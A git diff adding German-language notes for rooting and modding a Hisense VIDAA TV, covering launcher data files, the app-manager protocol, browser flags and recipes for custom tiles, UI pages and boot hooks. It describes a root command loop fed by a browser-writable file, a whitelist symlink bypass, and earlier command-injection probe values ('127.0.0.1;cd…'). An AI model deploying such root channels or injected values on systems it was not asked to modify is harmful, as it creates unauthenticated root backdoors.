`launcher/data/` (`/3rd_rw/appdata/launcher/data`), sofern `serviceUpdate.xml` zum Land `DEU` passt und Timestamp ≠ 0; sonst `UI/data/`-Default. +- **Quelle:** `CategoryIndex.xml`/`CategoryList_*.xml`/`Category_*.xml`/`PicInfo.xml`. +- **`preset.txt`:** wird aus den Kategorie-/App-Daten + `deletedPresetApp.txt` erzeugt (`allAppsWriteToFileForUse`); ist ein **Cache**. +- **`deletedPresetApp.txt`:** persistente **Hide-Liste** (JSON-Array von URLs/IDs); die UI/der Launcher filtert damit. +- **`Appinfo.json`:** User-Web-Apps (`pushFavoriteApps`), z. B. unser `VidaaRecon`. + +### 3.2 Die 26 Preset-Tiles (Stand live) + +Aus `preset.txt` (Reihenfolge/Inhalt live): + +| App | StartCommand / URL | Typ | +|---|---|---| +| Netflix | `netflix` | native (AM) | +| Prime Video | `amazon` | native (AM) | +| Disney+ | `https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html` | Web | +| maxdome | `http://8577004de253-ott-tv.maxdome.de` | Web | +| YouTube | `youtube` | native/Web (AM) | +| Rakuten TV | `https://prod-hisense-ui40-app.rakuten.tv/` | Web | +| rlaxxTV | `https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense` | Web | +| Chili | `https://hisense.chili.com` | Web | +| UEFA.TV | `https://smarttv.uefa.tv` | Web | +| RTL TVNOW | `https://app.hisense.rtl-smart.tv/` | Web | +| Kidoodle.TV | `https://ctv-vewd.kidoodle.tv` | Web | +| AccuWeather | `accuweather` | native/Web | +| YuppTV | `http://www.yupptv.com/hisense/index.html` | Web | +| Plex | `http://plex.tv/web/tv/hisense?mixedContent=1` | Web | +| Videociety | `https://smarttv3.videociety.de` | Web | +| App Store | `http://2897431816.fxm3751860294.com/?category=apps` | Store/Foxxum | +| Movies | `...?category=movies` | Store | +| Catch up TV | `...?category=catchup` | Store | +| News | `...?category=news` | Store | +| Music | `...?category=music` | Store | +| Sports | `...?category=sport` | Store | +| Search | `...?category=search` | Store | +| Game Center | `http://apps.tvgam.es/tv_games/hisense_portal/production/portal/index.html` | Web | +| TV Browser | `browser` | native (Web-Browser) | +| VIDAA tv | `vidaa-plus` | native/Store | +| VidaaRecon | `http://192.168.188.150:9000/recon.html` | User/Web (`UrlType 36`) | + +- **`UrlType 37`** = Start Web App; **`36`** = User-/Recon-App (unser Eintrag). +- **`PreInstall:true`** bei den Presets; unser `VidaaRecon` ist in `preset.txt` gelandet (Launcher-Cache), `Appinfo.json` hat den User-Eintrag. +- **`StoreType`:** `0`/`foxxum`; die Store-Apps sind Foxxum-URLs. +- **Icons:** `res/167593027...png`; `Image`/`IconURL`/`Thumb`/`Icon_96`; Fallback `useDefaultImg`. + +### 3.3 `Appinfo.json` (User-Apps) — unser Beispiel + +```json +{"AppInfo":[ + {"AppId":"VidaaRecondebug", + "Thumb":"http://192.168.188.150:9000/icon.png", + "Icon_96":"http://192.168.188.150:9000/icon.png", + "Image":"http://192.168.188.150:9000/icon.png", + "URL":"http://192.168.188.150:9000/recon.html", + "AppName":"VidaaRecon", + "Title":"VidaaRecon", + "IconURL":"http://192.168.188.150:9000/icon.png", + "StartCommand":"http://192.168.188.150:9000/recon.html", + "InstallTime":"2026-10-25", + "RunTimes":0, + "StoreType":"foxxum", + "PreInstall":false} +]} +``` + +- Die UI/der Launcher liest `AppInfo` und fügt die Apps als **User-Apps** hinzu (`canRemove=true`; `appUrlType=START_WEBAPP`). +- Der `StartCommand`/`URL` kann `http://…` oder `file:///3rd_rw/…` sein; der **Web-Browser** (`hisense_browser`) öffnet ihn (nicht die UI). +- **Icon:** HTTP/`file://`; lokal in `res/`/`cache`; `useDefaultImg` als Fallback. + +### 3.4 `deletedPresetApp.txt` (Hide-Liste) + +- JSON-Array von URLs/StartCommands/IDs. +- Der Launcher/`ldi.js` filtert die Kategorien/`preset`-Liste damit. +- **Stand 2026-10-26:** Die alten Probe-Einträge (data:, javascript:, 127.0.0.1;cd…) wurden beim Cleanup entfernt; die Datei ist jetzt `[]`. Die 26 Presets sind sichtbar. Zum Ausblenden die gewünschten URLs/IDs eintragen (siehe `05-bloat.md`). +- Die Datei ist rw (`/3rd_rw/appdata/launcher/deletedPresetApp.txt`); per SSH/`File.write` änderbar. + +--- + +## 4. LauncherService + +`/3rd/launcherservice/startLS.sh` (aus `delayrun.sh` nach 15 s): + +```sh +export LD_LIBRARY_PATH=/lib:/basic:/basic/lib:/3rd/lib:/3rd/hicjson/lib/:/3rd/hisdk2.0/lib:/3rd/hisdk/lib:/3rd/loglevel/lib:/3rd/his_runlog/lib:/3rd/launcherservice/lib +/3rd/launcherservice/bin/LauncherService & +``` + +- **Rolle:** liefert/aktualisiert Launcher-/Kategorie-/App-Daten und Auth für die UI; verwaltet `/tmp/launcher/…`. +- **Strings (Auszug):** + - `/3rd_rw/appdata/launcher/data/CategoryIndex.xml`, `PicInfo.xml`, `serviceUpdate.xml` + - `/3rd_rw/appdata/launcher/res`, `cache` + - `/tmp/launcher/{CategoryIndexNew.xml,PicInfo.xml,launcher_recv_socket,launcher_send_socket,launcherServiceAuth.xml}` + - `/cgi-bin/launcher_index.fcgi?action=GetChannelFilePath|GetEULAFilePath|GetSwitchFlag` + - `updateFile4weblauncher`, `LauncherInit`, `Launcher_SendMsgToLauncher` +- **`Hisense_GetLauncherServiceAuth`** (JS) liest `/tmp/launcherServiceAuth.xml` (Launcher-Auth-Token). +- **Store/Foxxum:** die Kategorie-/App-Daten kommen aus den Store-/Foxxum-Daten; `serviceUpdate.xml` (Land/Timestamp) entscheidet, ob `launcher/data` oder `UI/data` genutzt wird. + +**Für Modding:** `preset`/`Appinfo`/`deleted` sind die lokalen, einfachen Hebel. Die `Category*.xml`/`PicInfo`/`serviceUpdate` sind die Store-/Launcher-Quelle; Änderungen daran nur mit Backup (der Service kann sie überschreiben). + +--- + +## 5. AM (`app_man`) und `:am` + +- **Start:** `/basic/app_man -c /basic/am_config -s /basic/am_start.ini -input_fifo &` (autorun Zeile 177). +- **Boot-Apps:** `dtv_app_mtk` (`/basic/dtv_svc`), `netflix`, `dialserver`, `samba_relay_agent`, `browser_base`, `securetime` (aus `am_start.ini`). +- **On-demand/Apps:** `opera4x` (`run-Browser.sh`), `opera_browser`, `youtube`, `cobalt`, `amazon_ignition`, `factory_lite`, `huluplus`, `hotlist`, `generic_osd`, `vudu`, `diskcache`, `youtube_kids`/`youtube_tv`, … +- **Protokoll:** `:am,,:=`; Verbs u. a.: + - `start`, `stop`, `pause`, `resume`, `URL`, `backgm`, `foregm`, `shutdown`, `suspend`, `wakeup` + - `:am,am,:shutdowned=…`, `:am,am,:stoped_all=…` + - `:am,,:started=…` etc. (Status-Reports) +- **Kein `exec`/`args` über AM**; nur die konfigurierten `exec`/`args` aus `am_config`. +- **JS:** `HiBrowser.System.startApp(":am,,:start=")` im Web-Browser; `Hisense_StartApp(…)` in der UI (Signatur/Verhalten `UNVERIFIED`; im UI-JS/DevTools testen). +- **Beispiele:** + ```js + HiBrowser.System.startApp(":am,opera4x,:start=opera4x"); + HiBrowser.System.startApp(":am,netflix,:start=netflix"); + HiBrowser.System.startApp(":am,opera4x,:URL=http://192.168.188.150:9000/recon.html"); + HiBrowser.System.startApp(":am,opera4x,:stop=opera4x"); + ``` + (Die exakte `start`-Semantik je App ist `UNVERIFIED`; `:URL`/`:stop` sind aus den `app_man`-Strings belegt.) + +--- + +## 6. Web-Browser (`hisense_browser`, `opera4x`) + +`/3rd/opera4x/browser/run-Browser.sh` (ro): + +```sh +. ./opera_env.sh +export LD_PRELOAD=/3rd/opera4x/lib/libcurl.so.4.4.0 +cmd="./bin/hisense_browser" +cmd+=" --hw-dfb --dfb-memory-limit-mb=128" +cmd+=" --disable-imestart-on-enter-key" +cmd+=" --with-feature:tvsdk-netview=on" +cmd+=" --with-feature:adaptive-streaming-secure-path-drm=on" +cmd+=" --ait=data/mit.sec" +cmd+=" --allow-running-insecure-content" +cmd+=" --enable-spatial-navigation" +cmd+=" --allow-file-access-from-files" +cmd+=" --http-cache-size=30" +# --disable-single-window-browsing (Modell) +# --remote-debugging-port=9224, wenn /3rd_rw/appdata/enable_developer_tools +exec $cmd "$@" +``` + +- **Profil:** `/3rd_rw/opera4x/opera_home_browser/` (`opera.json`, `browser.db`, `cookies`, `Local Storage`, `web_ui`, `widevine`, …). +- **`opera.json`:** `userjs.path=/3rd/opera4x/opera_dir/userjs_browser` (ro); `spatial_navigation_enabled=true`; `transparent=true`; Font Tiresias; `http_accept_language=de, en`. +- **`browser.db`:** SQLite (Opera Speed Dial/History); **nicht** die TV-UI-App-Liste. +- **`user_db.db`:** TV-Settings (Sprache, Land, Brand, Region); **nicht** die App-Liste. +- **JS-APIs:** `/3rd/opera4x/opera_dir/jsplugins` (`libhspdk-jsx`, `libhspdk-linux`, `libhisensejs`, `libmodeljs`, …) → `HiBrowser` (`File`, `System`, `loadLibrary`, `Cache`, `JsonWrite`, …), `Hisense_*`. +- **Unlock:** `--allow-file-access-from-files`, `--allow-running-insecure-content`, `--disable-web-security`? (das UI nutzt `--disable-web-security`; der Web-Browser nicht, aber `--allow-file-access-from-files`). +- **DevTools 9224** mit `enable_developer_tools`; von dort kann die Seite/JS inspiziert werden. +- **Unser Recon:** `http://192.168.188.150:9000/recon.html`; `HiBrowser.File.download`/`write`, `HiBrowser.System.startApp`, `HiBrowser.loadLibrary`. + +**Root-Kontext:** `hisense_browser` ist UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp. Die `HiBrowser.File`-APIs sind root-equivalent (Whitelist: `/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`; USB-Symlink-Bypass). + +--- + +## 7. Aktive UI vs. Alt-/Alternativ-Skins + +| Pfad | Rolle | Status | +|---|---|---| +| `/3rd_rw/UI/index.html` + `/3rd/opera4x/hisenseUI` | **aktive TV-UI** (PIXI, GLES) | **aktiv** (Startskript) | +| `/3rd_rw/appdata/launcher` | **aktive Launcher-/App-Daten** | **aktiv** (`ldi.js` `launcher/data`) | +| `/3rd_rw/UI/data` | Default-/Fallback-Daten | Fallback, wenn Store-Land/Timestamp nicht passt | +| `/3rd_rw/launcher` | Alt-/Asset-Skin (HTML/JS/CSS/IMG; `data/templateConfig.xml`) | Alt/Asset; **nicht** der UI-Start | +| `/3rd_rw/VIDAAU2Launcher` | VIDAA-U2-Tile-Launcher | Alternativ; **Aktivierung auf diesem Modell UNVERIFIED** | +| `/3rd/UI_jsplugins` | UI-TV-APIs | aktiv | +| `/3rd/opera4x/opera_dir/jsplugins` | Web-Browser-JS-APIs | aktiv (für `hisense_browser`) | + +**Wichtig:** Wenn du „die UI ändern“ willst, ist der aktive Einstieg **`/3rd_rw/UI/index.html`** und die **Launcher-Daten** in `/3rd_rw/appdata/launcher`. Die `launcher`-/`VIDAAU2Launcher`-HTML/JS sind Alt-/Alternativ-Skins; Änderungen dort wirken nur, wenn die UI sie tatsächlich lädt (`UNVERIFIED`). + +--- + +## 8. UI-Restart / DevTools / Tests + +```sh +# UI-Prozess +ps | grep hisenseUI | grep -v grep +kill +nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 & + +# Web-Browser via AM +# :am,opera4x,:stop / :start (oder TV-Browser-Tile) +``` + +- **UI DevTools 9223:** `http://192.168.188.94:9223/` (Host-Chrome). Dort `document`, `TVAPI`, `model`, `guijs`, `Hisense_*` prüfen. +- **Web-Browser DevTools 9224:** `http://192.168.188.94:9224/`; dort `HiBrowser`, `File`, `System`, `Hisense_*` prüfen. +- **UI-Test:** Nach Änderung der `UI/index.html`/JS/CSS UI neu starten; bei schwarzem Bildschirm SSH/Root-Loop + Backup. +- **Launcher-Test:** `Appinfo.json`/`deletedPresetApp.txt` ändern; UI/Launcher neu starten; Tiles prüfen. +- **App-Tile-Test:** `Appinfo.json` ergänzen; UI neu starten; App öffnen; Web-Browser/Recon. +- **UI-Dateien hochladen:** nach optionalem SFTP-Install + (`../root/scripts/host/install_sftp.sh`) mit `sftp root@192.168.188.94` + (`put -r`/`get`); sonst per SSH/`tar` oder `File.download`. Backup vorher. + +--- + +## 9. Evidence + +- Prozesse: `ps`, `/proc//cmdline`, `/proc//environ` (`hisenseUI` PID 589; `hisense_browser` PID 1320). +- Startskripte: `/3rd/opera4x/hisenseUI/start-UI.sh`, `/3rd/opera4x/browser/run-Browser.sh`, `/3rd/launcherservice/startLS.sh`. +- UI-Seite: `/3rd_rw/UI/index.html`; `UI/pub/HisProductConfig.js`; `UI/lib/launcherDataInterface.js` (`ldi.js`); `UI/data/`; `UI/templates/`. +- Launcher: `/3rd_rw/appdata/launcher/{preset.txt,Appinfo.json,deletedPresetApp.txt,data/*,res/*,cache/*}`; `/3rd_rw/launcher/data/templateConfig.xml`; `/3rd_rw/VIDAAU2Launcher/html/*`. +- AM: `/basic/am_config`, `/basic/am_start.ini`, `app_man`-Strings (`:am,…`). +- LauncherService: `/3rd/launcherservice/bin/LauncherService`-Strings. +- Browser: `/3rd_rw/opera4x/opera_home_browser/opera.json`, `browser.db`; `run-Browser.sh`; `enable_developer_tools`. +- Settings: `/3rd_rw/user_db.db` (DEU, Brand his, Region 7). + +--- + +## 10. Unknowns + +- Aktive UI-Template-/Skin-Auswahl (`UI/templates` vs. `launcher`/`VIDAAU2Launcher`); `VIDAAU2Launcher` auf diesem Modell aktiv? `UNVERIFIED`. +- Exakte `Hisense_*`-Signaturen/Semantik (UI-APIs) und `guijs`/`TVAPI`/`model`-Interna. +- `LauncherService`-Datenquelle/Update (Store/Foxxum/FCGI) und ob `preset.txt` bei jedem Start aus `Category*.xml` neu geschrieben wird. +- `app_man`/AM-Interna, `coexist_set`/`backgm`/`keymap`, exakte `:am`-Semantik je App. +- Ob die UI die `launcher`-HTML/JS überhaupt lädt (Alt-Skin) oder nur die Daten (`launcher/data`); die aktive Seite ist `/3rd_rw/UI`. +- Ob eigene `UI/index.html`-Pages die `TVAPI`/`model`-Globals brauchen oder ob `Hisense_*`/`guijs` direkt nutzbar sind (im UI-DevTools testen). +- Bloat-/Deaktivierungsfolgen (siehe `05`): `ms_service`, `swrc`, `runlog`, `Seriallog`, `HamService`, `securetime`, `netflix`, `browser_base`, `app_man`, `dtv_svc`. diff --git a/modding/04-modding.md b/modding/04-modding.md new file mode 100644 index 0000000..955e00c --- /dev/null +++ b/modding/04-modding.md @@ -0,0 +1,456 @@ +# 04 — Modding: Rezepte für eigene UI, Apps, Services, Bloat + +**Voraussetzung:** Root + SSH (siehe `../root/ROOT-GUIDE.md`). +**Spielregel:** Eine Änderung, dann testen, dann die nächste. Backup vorher. SSH/Root-Loop als Rettungsweg behalten. Kein Flash/`.pkg`. + +Die Rezepte sind nach Risiko sortiert: + +| Route | Ziel | Risiko | Reversibel | +|---|---|---|---| +| **A** | Eigene App-Tile (Web-App im Browser) | niedrig | ja (Datei-Backup) | +| **B** | Eigene UI-Seite (`/3rd_rw/UI/index.html`) | mittel | ja (Backup + UI-Restart) | +| **C** | Launcher-Daten/Skin (Tiles, Kategorien, Icons) | niedrig–mittel | ja (Backup) | +| **D** | Eigener Service/eigene Funktion (root) | mittel | ja (Skripte/Wrapper) | +| **E** | Ro-Dateien per Bind-Mount/Overlay patchen | mittel–hoch | ja (Unmount/Reboot) | +| **F** | Statische Tools/SSH/Deploy | niedrig | ja | + +--- + +## Route A — Eigene App-Tile (der sichere Einstieg) + +**Ziel:** Ein eigener Eintrag im Launcher, der eine lokale oder HTTP-Seite im **Web-Browser** öffnet (nicht die UI ersetzt). + +### A.1 Seite bauen + +Lokal auf dem TV (rw): + +``` +/3rd_rw/appdata/custom/index.html +/3rd_rw/appdata/custom/app.js +/3rd_rw/appdata/custom/icon.png +``` + +Beispiel `index.html`: + +```html + +MyApp + + +

MyApp

+

Läuft im hisense_browser (root, --allow-file-access-from-files).

+ +

+
+
+```
+
+- HTTP-Variante: Seite auf dem Host (`http://:9000/...`) servieren; der TV-Browser lädt sie.
+- Lokal-Variante: `file:///3rd_rw/appdata/custom/index.html`; der Browser hat `--allow-file-access-from-files`.
+- Die Seite kann `HiBrowser` (`File`, `System`, `loadLibrary`, `Cache`, `JsonWrite`) und `Hisense_*` nutzen. Root-Kontext.
+
+### A.2 `Appinfo.json` ergänzen
+
+Datei: `/3rd_rw/appdata/launcher/Appinfo.json` (rw). **Backup:**
+
+```sh
+cp /3rd_rw/appdata/launcher/Appinfo.json /3rd_rw/backup/Appinfo.json.$(date +%s)
+```
+
+Eintrag ergänzen (bestehende `AppInfo`-Einträge behalten!):
+
+```json
+{"AppInfo":[
+  {"AppId":"MyApp",
+   "Thumb":"file:///3rd_rw/appdata/custom/icon.png",
+   "Icon_96":"file:///3rd_rw/appdata/custom/icon.png",
+   "Image":"file:///3rd_rw/appdata/custom/icon.png",
+   "URL":"file:///3rd_rw/appdata/custom/index.html",
+   "AppName":"MyApp",
+   "Title":"MyApp",
+   "IconURL":"file:///3rd_rw/appdata/custom/icon.png",
+   "StartCommand":"file:///3rd_rw/appdata/custom/index.html",
+   "InstallTime":"2026-10-26",
+   "RunTimes":0,
+   "StoreType":"foxxum",
+   "PreInstall":false}
+]}
+```
+
+- `StartCommand`/`URL` = HTTP oder `file://`.
+- `Image`/`IconURL`/`Thumb`/`Icon_96` = Icon; HTTP/`file://`; Fallback `useDefaultImg`.
+- `StoreType` als String (`"foxxum"`; die UI mappt über `storeTypeList`).
+- `PreInstall:false` (User-App); `canRemove=true`.
+
+**Per TV-Seite/JS** (ohne SSH):
+
+```js
+// Backup lesen (optional)
+var old = fileXHR("file:///3rd_rw/appdata/launcher/Appinfo.json");
+// Neuen Inhalt schreiben
+HiBrowser.File.write("launcher/Appinfo.json", newJsonString, 1);
+```
+
+`File.write` schreibt Text; das JSON ist Text. (Für Binär-Icons: `File.download` von HTTP/`file://`.)
+
+### A.3 Launcher/UI neu laden
+
+- UI neu starten (siehe `03`, Abschnitt 8): `kill `; `nohup /3rd/opera4x/hisenseUI/start-UI.sh &`.
+- Oder TV rebooten.
+- Im Launcher/„Alle Apps“ erscheint die Tile; Launch öffnet den **Web-Browser** mit der URL (nicht die UI-Seite).
+
+### A.4 Test / Rollback
+
+- Test: Tile öffnen; `HiBrowser`-Testbutton; `file://`-Seite; HTTP-Seite.
+- Rollback: `Appinfo.json`-Backup zurückkopieren; UI neu starten. Oder Eintrag entfernen.
+- **Nicht** `preset.txt` für User-Apps missbrauchen; der `preset`-Cache kann überschrieben werden. `Appinfo.json` ist der richtige Ort.
+
+---
+
+## Route B — Eigene UI-Seite (`/3rd_rw/UI/index.html`)
+
+**Ziel:** Die TV-UI (PIXI/`hisenseUI`) durch eine eigene Seite ersetzen. **Höchstes Risiko** (schwarzer Bildschirm), aber machbar.
+
+### B.1 Backup
+
+```sh
+mkdir -p /3rd_rw/backup
+cp -a /3rd_rw/UI /3rd_rw/backup/UI.$(date +%Y%m%d-%H%M%S)
+```
+
+### B.2 Minimale Custom-UI bauen
+
+Datei: `/3rd_rw/UI/custom.html` (neu; `index.html` bleibt vorerst unangetastet).  
+Vorlage: `templates/custom-ui.html`.
+
+```html
+
+
+
+My TV
+
+
+

My TV

+
+ + + + + +
+

+
+``` + +- **API-Verfügbarkeit ist `UNVERIFIED`**: Im UI-DevTools (9223) prüfen, welche Globals existieren und welche Signatur `Hisense_StartApp`/`TVAPI.StartApp`/`guijs.StartApp` hat. Der Web-Browser hat `HiBrowser.System.startApp(":am,…")` (belegt); die UI kann andere Wrapper haben. +- Größe: UI nutzt 1280×720 CSS (PIXI-Canvas); der Screen ist 1920×1080 (`OPERA_EGL_SCREEN_SIZE`). `100vw/100vh`/`meta viewport` nutzen. + +### B.3 Testen, ohne die UI zu ersetzen + +1. `custom.html` per Web-Browser öffnen: `http://:9000/...` oder `file:///3rd_rw/UI/custom.html` im **`hisense_browser`** (TV-Browser). Dort `HiBrowser`/`Hisense_*` testen (die UI-spezifischen APIs fehlen evtl.). +2. UI DevTools 9223: `window.location = "file:///3rd_rw/UI/custom.html"` **nur** in einem Test-Tab? Die UI hat ein Fenster; ein Navigieren ersetzt die UI. Besser: Custom-Seite in einem **neuen** `hisenseUI`-Prozess starten (siehe B.5) oder per Web-Browser testen. +3. Wenn die Custom-Seite im Web-Browser gut aussieht, UI übernehmen. + +### B.4 `index.html` ersetzen + +**Variante 1: Datei ersetzen** (einfach, reversibel per Backup): + +```sh +cp /3rd_rw/UI/index.html /3rd_rw/backup/index.orig.html +cp /3rd_rw/UI/custom.html /3rd_rw/UI/index.html +# UI neu starten +kill $(pidof hisenseUI) +nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 & +``` + +**Variante 2: `start-UI.sh` per Bind-Mount auf `custom.html` zeigen** (lässt `index.html` unangetastet): + +```sh +# /3rd_rw/patch/start-UI-custom.sh (siehe templates/start-UI-custom.sh) +mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh +# UI neu starten +``` + +Das ist ein **Datei-Bind-Mount**; kein full overlay. `start-UI-custom.sh` startet `hisenseUI` mit `-u file:///3rd_rw/UI/custom.html` und den gleichen Flags wie das Original. + +**Variante 3: Vendor-Overlay `/3rd_rw/patch/opera4x`** (full dir bind): + +```sh +mkdir -p /3rd_rw/patch/opera4x +cp -a /3rd/opera4x/. /3rd_rw/patch/opera4x/ # vollständige Kopie! +# eigene Dateien überschreiben, z. B. hisenseUI/start-UI.sh +reboot +``` + +- **Nur mit vollständiger Kopie/Symlink-Baum.** Der `mount -o bind` ersetzt `/3rd/opera4x` komplett. Fehlende Dateien = Browser/UI kaputt. +- Vorteil: überlebt Reboots (autorun bindet vor UI-Start). Nachteil: groß/fehleranfällig. + +### B.5 UI-Restart / Rettung + +```sh +# UI-Prozess +ps | grep hisenseUI | grep -v grep +kill +nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 & + +# Rettung bei schwarzem Bildschirm: +cp /3rd_rw/backup/index.orig.html /3rd_rw/UI/index.html +kill $(pidof hisenseUI) +nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 & +``` + +- **SSH/Root-Loop** funktionieren unabhängig von der UI. Der Web-Browser (`hisense_browser`/Recon) kann ebenfalls weiterlaufen. +- `hisenseUI`-Log: `/tmp/hisenseUI.log`; UI-DevTools 9223 (falls die Seite lädt). +- **Kein Flash**: `index.html`/`custom.html` liegen in `/3rd_rw`; Backup/Rollback per Datei. + +### B.6 Was die UI-Seite kann + +- **Vollbild-HTML/CSS/JS** im Chromium/Opera-UI-Browser. +- **`Hisense_*`/`TVAPI`/`guijs`/`model`** (UI-Kontext; Signaturen im DevTools prüfen). +- **`file://`**-Zugriff (`--disable-web-security`, `--allow-file-access-from-files`? Das UI hat `--disable-web-security`; lokale Files ja). +- **Video/Canvas/WebGL**; die UI nutzt GLES/Mali. +- **Kein** direkter Shell-Zugriff aus JS; der Root-Loop/SSH ist der Weg für native Aktionen. + +--- + +## Route C — Launcher-Daten/Skin (Tiles, Kategorien, Icons) + +**Ziel:** Apps hinzufügen/ausblenden, Kategorien/Icons ändern, ohne die UI-Seite zu ersetzen. + +### C.1 Tiles ausblenden (einfach, persistent) + +Datei: `/3rd_rw/appdata/launcher/deletedPresetApp.txt` (JSON-Array). +Beispiel: `templates/hide-preset.json`; die Preinstalled-Liste in `05-bloat.md`. + +```json +[ + "netflix", + "amazon", + "youtube", + "https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html", + "http://8577004de253-ott-tv.maxdome.de", + "https://prod-hisense-ui40-app.rakuten.tv/", + "https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense" +] +``` + +- Der Launcher/`ldi.js` filtert die Kacheln; die `preset.txt` ist nur Cache. +- **Stand 2026-10-26:** Die alten Probe-URLs (data:, javascript:, 127.0.0.1;cd…) wurden beim Cleanup entfernt; die Datei ist jetzt `[]`. Zum Ausblenden die gewünschten Hide-Einträge setzen. +- **Backup:** `cp deletedPresetApp.txt /3rd_rw/backup/...`. +- **Wirkung:** UI/Launcher neu starten (oder reboot). + +### C.2 Tiles hinzufügen + +- **User-App:** `Appinfo.json` (Route A). +- **Preset:** `preset.txt` ergänzen (`AppName`, `IconURL`, `URL`, `StartCommand`, `UrlType` 37, `StoreType` 0, `PreInstall:true`). **Aber:** `preset.txt` ist ein Cache; die UI/`allAppsWriteToFileForUse` kann sie überschreiben. Für dauerhaft: `Appinfo.json` (User-App) oder die `Category*.xml`-Quelle. +- **Kategorie-XML:** `/3rd_rw/appdata/launcher/data/Category_1001_*.xml`/`Category_57_*.xml`/`CategoryIndex.xml`/`CategoryList_*.xml` — die App-Tiles. Backup; XML-Struktur beibehalten; `preset`/Cache danach neu erzeugen lassen (UI-Restart). +- **`serviceUpdate.xml`:** Land/Timestamp; wenn es nicht zu `DEU` passt, nutzt `ldi.js` `UI/data/`-Default. Für eigene Daten ggf. `UI/data/` bearbeiten (Fallback) oder `serviceUpdate`/`Category` in `launcher/data` konsistent halten. + +### C.3 Icons / Skin + +- Icons: `res/*.png`; `cache/index.json`; `Image`/`IconURL`/`Thumb`/`Icon_96`; `useDefaultImg` als Fallback. +- Skin/Assets: `/3rd_rw/UI/assets`, `/3rd_rw/UI/templates`, `/3rd_rw/UI/module`, `/3rd_rw/launcher/{css,img,html,js}`, `/3rd_rw/VIDAAU2Launcher/*` (Alt/Alternativ). +- **Aktiv:** `/3rd_rw/UI` (PIXI) + `/3rd_rw/appdata/launcher` (Daten). Die `launcher`/`VIDAAU2Launcher`-HTML/JS sind Alt-/Alternativ-Skins; Änderungen dort nur testen, wenn die UI sie lädt (`UNVERIFIED`). + +### C.4 Test / Rollback + +- Backup der `Appinfo`/`preset`/`deleted`/`Category*`/`res`. +- UI neu starten; Tiles prüfen; bei Problemen Backup zurück, UI neu starten/reboot. +- Die `deletedPresetApp.txt` ist der sicherste Hide-Hebel (kein XML-Eingriff). + +--- + +## Route D — Eigener Service / eigene Funktion (root) + +**Ziel:** Ein eigener Prozess/Skript läuft als root beim Boot oder auf Kommando; native Aktionen, die JS nicht kann. + +### D.1 Früher Hook: `/3rd_rw/developer.sh` + +Wird von `/basic/autorun.sh` Zeile 90 als root ausgeführt — **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`. + +Vorlage: `templates/developer.sh`. + +```sh +#!/bin/sh +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +exec >>/3rd_rw/developer.log 2>&1 +echo "developer.sh $(date) boot=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)" + +# Beispiel 1: eigenen Dienst starten +# /3rd_rw/bin/mydaemon & + +# Beispiel 2: ro-Datei per Bind-Mount ersetzen (vor app_man) +# mount --bind /3rd_rw/etc/am_start.ini /basic/am_start.ini +# mount --bind /3rd_rw/etc/am_config /basic/am_config + +# Beispiel 3: unerwünschten Dienst stubben (vor autorun-Zeile 162) +# mkdir -p /3rd_rw/stubs +# printf '#!/bin/sh\nexit 0\n' > /3rd_rw/stubs/true +# chmod 755 /3rd_rw/stubs/true +# mount --bind /3rd_rw/stubs/true /3rd/ms-screen/ms_service + +# Beispiel 4: custom UI starten (vor autorun-Zeile 168) +# mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh + +# Beispiel 5: Root-Loop/SSH früher starten (statt HamService-Wrapper) +# /bin/sh /3rd_rw/appdata/root_loop.sh & +# /bin/sh /3rd_rw/sshd/start_sshd.sh & +``` + +- **Reihenfolge:** `developer.sh` (90) → `ms_service` (162) → `hisenseUI` (168) → `app_man` (177) → `delayrun` (190). +- **Bind-Mounts** von ro-Dateien in `developer.sh` wirken für die späteren Zeilen. +- **Log:** `/3rd_rw/developer.log`; `set -x` optional. +- **Fallback:** SSH/Root-Loop; wenn `developer.sh` die UI/AM blockiert, per SSH korrigieren/entfernen, reboot. + +### D.2 Später Hook: `HamService`-Wrapper (aktuell für SSH/Root-Loop) + +`/3rd_rw/hamservice/HamService` (Wrapper; `startHam.sh` ruft ihn nach `delayrun` + 15 s): + +```sh +#!/bin/sh +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 & +[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 & +exec /3rd/hamservice/HamService "$@" +``` + +- **Aktuelle Persistenz:** Root-Loop + Dropbear. Das echte `HamService` läuft weiter. +- **ACR abschalten:** `exec /3rd/hamservice/HamService "$@"` durch `exit 0` ersetzen (Root-Loop/SSH bleiben); oder ACR im HamService-Config deaktivieren (UNVERIFIED). +- **Eigene späte Services:** vor dem `exec` starten (z. B. `/3rd_rw/bin/mydaemon &`). +- **Rollback:** `rm /3rd_rw/hamservice/HamService; ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService`. + +### D.3 Kommando-Kanal (root_loop) + +- `/3rd_rw/appdata/root_loop.sh` liest `root_cmd.sh`, schreibt `root_out.txt`. +- Auf dem TV: `HiBrowser.File.write("root_cmd.sh", "…\n", 1)`; `fileXHR("file:///3rd_rw/appdata/root_out.txt")`. +- Host-Snippet: `../root/scripts/host/run_root_cmd.js`. +- **Root-equivalent:** nur vertrauenswürdige Schreiber (Browser root) zulassen. + +### D.4 Native App/Funktion über AM (`:am`) + +- `HiBrowser.System.startApp(":am,,:start=")` im Web-Browser (belegt). +- `:am,,:URL=` (aus `app_man`-Strings); `:stop`, `:backgm`, `:foregm`, `:pause`, `:resume`, `:shutdown`, `:suspend`, `:wakeup`. +- **Neue 